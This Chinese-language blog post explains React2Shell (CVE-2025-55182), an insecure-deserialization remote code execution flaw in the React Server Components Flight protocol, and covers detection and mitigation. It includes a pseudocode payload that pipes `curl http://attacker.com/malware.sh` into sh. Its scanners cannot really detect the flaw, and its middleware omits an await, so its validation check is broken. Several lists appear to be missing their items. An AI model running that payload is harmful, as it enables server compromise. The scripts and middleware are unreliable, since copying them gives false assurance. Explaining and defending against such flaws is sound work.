
作者:Lachlan Davidson
最后更新:2025 年 12 月 4 日
近几年,React 及其相关框架的采用率激增,支撑了从小型 Web 项目到大型企业应用的方方面面。随着流行度的提高,人们对漏洞的担忧也水涨船高,尤其是那些影响生态关键组件的漏洞。
2025 年 11 月 29 日,我(Lachlan Davidson)向 Meta 团队负责任地披露了一个毁灭性漏洞——React2Shell(CVE-2025-55182)。该漏洞影响服务器端 React 的实现,尤其是通过 React Server Components(RSC)中的 “Flight” 协议。React 与 Vercel 团队于 2025 年 12 月 3 日发布了补丁。本博客将从技术细节到真实世界利用,全方位解析该漏洞,并提供检测与缓解的最佳实践。
本文将涵盖:
无论你是安全专家、开发者还是技术爱好者,本文都将带你从入门概念到高级利用技术,再到主动防御策略。
了解事件时间线对于风险管理与快速响应至关重要:
另一个 CVE(CVE-2025-66478)指向 Next.js,其本质上为 CVE-2025-55182 的重复,但有助于供应商与安全团队追踪 vendored 依赖。
React2Shell 是指 React Server Components 环境中的一个关键漏洞(CVE-2025-55182),影响 “Flight” 协议。不安全的反序列化使得未经认证即可在服务器端执行远程代码。
关键特性:
create-next-app 创建的标准 Next.js 应用在未加固时都易受攻击漏洞根源在于服务器处理 RSC 载荷时的反序列化逻辑缺乏充分校验。攻击者可提交精心构造的数据,反序列化后触发任意代码执行。
简化流程:
由于多数应用的默认配置缺乏输入过滤或暴露限制,此漏洞尤为危险。
Next.js 将 React 作为 vendored 依赖,传统扫描器可能遗漏。故额外分配 CVE-2025-66478 以提醒用户。
反序列化是把序列化数据还原为对象/结构的过程。不安全反序列化指:
Flight 协议用于高效交换数据,但由于 react-server 包校验不足,产生攻击面。服务器收到 Flight 请求时:
攻击者:
Wiz Research 数据:
#!/bin/bash
# React2Shell (CVE-2025-55182) 简易扫描脚本
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'
echo "正在扫描 $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "[$TARGET] 可能存在漏洞"
else
echo "[$TARGET] 未发现明显漏洞,仍建议进一步检测"
fi
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"扫描 {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] {url} 可能存在漏洞")
else:
print(f"[-] {url} 暂未发现问题")
except requests.exceptions.RequestException as e:
print(f"[!] 扫描 {url} 时出错: {e}")
if __name__ == "__main__":
for t in ["https://example.com/api/flight", "https://another-example.com/api/flight"]:
scan_target(t)
// 仅供学习用途的伪代码
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
误报可能因检测到以下函数而触发:
vm#runInThisContextchild_process#execfs#writeFile真正的 React2Shell 利用与这些函数无关,而是依赖 Next.js 自动管理的服务器函数。
建议:
react-server-dom* 19.0.1、19.1.2、19.2.1)// Next.js 中间件示例:额外输入校验
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Invalid payload format', { status: 400 });
}
} catch {
return new NextResponse('Error processing request', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell(CVE-2025-55182)提醒我们:即便是广泛采用、被信任的框架也可能存在高危漏洞。其根源于 RSC “Flight” 协议中的不安全反序列化,因易利用且影响范围广而极具威胁。
要点回顾:
本文旨在帮助你全方位理解 React2Shell,从技术细节到检测与缓解方案。请及时关注官方公告,并不断强化安全防护。
安全编码,畅行无忧!